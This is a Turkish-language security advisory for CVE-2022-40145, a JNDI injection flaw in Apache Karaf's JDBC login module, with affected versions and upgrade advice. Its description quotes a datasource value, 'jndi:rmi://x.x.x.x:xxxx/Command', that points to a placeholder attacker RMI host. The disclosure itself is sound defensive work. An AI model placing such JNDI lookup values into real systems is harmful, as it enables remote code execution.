CVE-2022-40145
Açıklama
Bu zafiyet, bir saldırganın JDBC JNDI URL'sinde kullanılan hedef LDAP sunucusu üzerinde kontrol sahibi olduğu durumlarda ortaya çıkabilecek potansiyel bir kod enjeksiyonu hakkındadır. jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource fonksiyonu, herhangi bir filtreleme yapmadan InitialContext.lookup(jndiName) kullanmaktadır. Bir kullanıcı, JdbcLoginModuleTest#setup içerisindeki `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` ifadesini `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` şeklinde değiştirebilir. Bir yapılandırmanın JNDI LDAP veri kaynağı URI'si kullandığı ve saldırganın hedef LDAP sunucusunun kontrolüne sahip olduğu durumlarda, bu durum uzaktan kod çalıştırma (RCE) saldırısına karşı savunmasızdır. Bu sorun, Apache Karaf'ın 4.4.1 ve 4.3.7 dahil önceki tüm sürümlerini etkilemektedir. Kullanıcıların Apache Karaf sürümünü en az 4.4.2 veya 4.3.8 sürümüne yükseltmeleri önerilir.
Nasıl düzeltilir
- apache karaf4.3.8, 4.4.2 ya da sonraki bir sürüm
- org.apache.karaf:apache-karaf4.3.8, 4.4.2 ya da sonraki bir sürüm
Etkilenen ürünler
| Ürün | Etkilenen sürümler | Düzeltildiği sürüm |
|---|---|---|
| apache karaf | v < 4.3.8, 4.4.0 ≤ v < 4.4.2 | 4.3.8, 4.4.2 |
| org.apache.karaf:apache-karafMaven | v < 4.3.8, 4.4.0 ≤ v < 4.4.2 | 4.3.8, 4.4.2 |
Sürümünüzü kontrol edin
Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.
Attack Surface Management
Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.